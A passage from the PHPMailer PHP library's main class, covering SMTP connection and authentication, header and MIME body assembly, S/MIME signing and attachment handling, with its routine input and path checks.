                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
